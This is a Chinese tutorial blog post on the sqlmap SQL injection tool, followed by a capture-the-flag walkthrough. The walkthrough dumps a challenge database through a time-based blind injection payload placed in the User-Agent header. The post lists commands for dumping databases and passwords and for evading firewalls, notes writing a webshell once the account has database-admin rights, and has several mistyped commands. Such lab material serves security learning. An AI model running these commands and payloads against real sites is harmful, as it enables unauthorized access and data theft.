SQLmap学习以及题解运用

1.简介

SQLmap是一款开源的SQL注入工具,用于检测和利用Web应用程序的SQL注入漏洞。SQLmap支持多种数据库管理系统,包括MySQL、Oracle、PostgreSQL、Microsoft SQL Server、SQLite等,并支持各种不同的操作系统和平台

这里主要分为四大部分目标脱库账号其它,

分类和一些命令如下:

2.具体操作介绍

sqlmap是一款自动化的sql注入工具,下面我用的是kali自带的sqlmap工具

首先需要打开虚拟机终端,输入命令sqlmap,如果出现以下界面就说明工具可以使用

一般情况下基本的注入步骤如下:

1)检测注入点

sqlmap -u 'http://xx/?id=1'

2)查看全部数据库

sqlmap -u 'http//xx/?id=1' --dbs

3)查看当前数据库

sqlmap -u 'http//xx/?id=1' current -db

4)查看数据库

sqlmap -u 'http//xx/?id=1' -D 'security' --tables

5)查看字段

sqlmap -u 'http//xx/?id=1' -D 'security' -T 'users' --tables

6)查看数据

sqlmap -u 'http//xx/?id=1' -D 'security' -T 'users' --dump

一些常用命令如下:

--is-dba 当前用户权限(是否为root权限,mssql下最高权限为sa)
--dbs 所有数据库
--current-db 网站当前数据库
--users 所有数据库用户
--current-user 当前数据库用户
--random-agent 构造随机user-agent
--passwords 数据库密码
--proxy http://local:8080 –threads 10 (可以自定义线程加速) 代理
--time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒
--threads=                       使用多少线程

注:--is-dba 这个命令有时候决定了你是否可以在服务器下进行写的操作,这个很重要,是否有写的权限,代表你是否可以在服务器上面写入一句话木马

3.目标

 -d DIRECT    直接连接数据库的连接字符串

-u URL, –url=URL   目标URL (e.g.”http://www.site.com/mzxf.php?id=1“),使用-u或者–url

-l LOGFILE     从Burp或者WebScarab代理日志文件中分析目标

-x SITEMAPURL  从远程网站地图(sitemap.xml)文件来解析目标

-m BULKFILE      将目标地址保存在文件中,一行为一个URL地址进行批量检测。

-r REQUESTFILE   从文件加载HTTP请求,sqlmap可以从一个文本文件中获取HTTP请求,这样就可以跳过设置一些其他参数(比如cookie,POST数据,等等),请求是HTTPS的时需要配合这个–force-ssl参数来使用,或者可以在Host头后门加上:443

-g GOOGLEDORK     从谷歌中加载结果目标URL(只获取前100个结果,需要挂代理)

-c CONFIGFILE       从配置ini文件中加载选项
1、指定url

-u + 指定需要检测的url,用单/双引号包裹。    中间如果有提示,就输入y。

提示:SQLmap不能直接「扫描」网站漏洞,先用其他扫描工具扫出注入点,再用SQLmap验证并「利用」注入点。

2、指定文件(批量检测)

准备一个「文件」,写上需要检测的多个url,一行一个。

-m 指定文件,可以「批量扫描」文件中的url。

<span style="color:#000000"><span style="background-color:#fafafa"><code class="language-bash">sqlmap -m urls.txt</code></span></span>
3、指定数据库/表/字段

-D 指定目标「数据库」,单/双引号包裹,常配合其他参数使用。

-T 指定目标「表」,单/双引号包裹,常配合其他参数使用。

-C 指定目标「字段」,单/双引号包裹,常配合其他参数使用。

sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' -C 'username' --dump

4、post请求

检测「post请求」的注入点,使用BP等工具「抓包」,将http请求内容保存到txt文件中。

-r 指定需要检测的文件,SQLmap会通过post请求方式检测目标。

sqlmap -r bp.txt

5、cookie注入


--cookie 指定cookie的值,单/双引号包裹。

sqlmap -u "http://xx?id=x" --cookie 'cookie'

4.脱库

​​​​​​​​​​​​​​1、获取当前数据库版本

python sqlmap.py -u 目标URL -b

2、获取当前数据库名称

python sqlmap.py -u 目标URL --current-db

3、列出所有数据库

python sqlmap.py -u 目标URL --dbs

4、列出指定数据库的所有表

python sqlmap.py -u 目标URL -D 数据库名称 --tables

5、获取表中所有数据

python sqlmap.py -u 目标URL -D 数据库名称 -T 表名称 --dump

6、搜索库、表、字段

python sqlmap.py -u 目标URL --search

7、绕过WAF

python sqlmap.pu -u 目标URL --tamper
 

5,其他

--batch (默认确认)不再询问是否确认。

--method=GET 指定请求方式(GET/POST)

--random-agent 随机切换UA(User-Agent)

--user-agent ' ' 使用自定义的UA(User-Agent)

--referer ' ' 使用自定义的 referer

--proxy="127.0.0.1:8080" 指定代理

--threads 10 设置线程数,最高10

--level=1 执行测试的等级(1-5,默认为1,常用3)

--risk=1 风险级别(0~3,默认1,常用1),级别提高会增加数据被篡改的风险。

写了那么多操作命令,没记清几个,还是不如直接来实操!!!!!

6.实操

1.这里还是用考核的题目来作为例子吧

2.进入环境

3.找不到任何注入的点,用dirsearch扫扫看

4.扫出来一个login.php,直接进去

5.输入弱口令admin,12345抓包,然后把它保存成txt文件,放进kali中

6.接着打开sqlmap爆它的注入类型

sqlmap -r '/home/kali2024/Desktop/sql.txt'  --level 3

7.爆破数据显示它为时间盲注,然后开始爆它所有的数据库

sqlmap -r '/home/kali2024/Desktop/sql.txt'  --level 5 --headers="User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0' AND (SELECT 3968 FROM (SELECT(SLEEP(5)))Gujs)-- KBZW" --dbs

8.爆出所有数据库为

] challenges
[*] information_schema
[*] mysql
[*] performance_schema
[*] test

然后爆它当前的数据库

sqlmap -r '/home/kali2024/Desktop/sql.txt'  --level 5 --headers="User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0' AND (SELECT 3968 FROM (SELECT(SLEEP(5)))Gujs)-- KBZW" --current-db

当前数据库为 challenges

9.接着爆表

sqlmap -r '/home/kali2024/Desktop/sql.txt'  --level 5 --headers="User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0' AND (SELECT 3968 FROM (SELECT(SLEEP(5)))Gujs)-- KBZW" -D challenges --tables

10.得到两张表,一张张找出来在第一张里面

[2 tables]
+-------------+
| user_agents |
| users       |
+-------------+
然后开始爆字段

sqlmap -r '/home/kali2024/Desktop/sql.txt'  --level 5 --headers="User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0' AND (SELECT 3968 FROM (SELECT(SLEEP(5)))Gujs)-- KBZW" -D challenges -T user_agents --columns

爆出字段为

+------------+-------------+
| Column     | Type        |
+------------+-------------+
| id         | int(3)      |
| user_agent | varchar(40) |
+------------+-------------+
11.猜测这里长度为40的为flag,直接报字段内容得到flag

sqlmap -r '/home/kali2024/Desktop/sql.txt'  --level 5 --headers="User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0' AND (SELECT 3968 FROM (SELECT(SLEEP(5)))Gujs)-- KBZW" -D challenges -T user_agents -C user_agent --dump

成功爆出flag

flag{8faf525dc3c4c7c43a9c163a57904c35}

  • 28
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值